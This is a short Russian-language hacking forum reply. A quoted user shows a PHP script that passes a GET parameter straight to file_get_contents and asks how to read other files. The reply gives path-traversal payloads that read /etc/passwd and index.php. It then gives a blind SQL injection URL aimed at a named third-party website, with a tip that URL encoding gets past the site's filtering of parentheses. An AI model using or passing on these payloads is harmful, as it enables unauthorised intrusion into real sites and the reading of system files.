04.12.2014, 02:53
|
|
Banned
Регистрация: 21.11.2007
Сообщений: 181
С нами:
9721141
Репутация:
1013
|
|
Сообщение от DJ
[akep"]
DJ ][akep said:
Есть скрипт
echo file_get_contents('fike_'.$_GET['file']);
есть идеи как прочитать index.php или еще что нибудь??)
.php?file=/../../../../../etc/passwd
.php?file=/../index.php
PS. Br@!ns,
Код:
https://www.phd-fitness.co.uk/store/user_account.php?lang=1%27+and+substr%28@@version,1,1%29=5--+
скобки там фильтруются, однако урл-кодирование решит эту проблему
|
|
|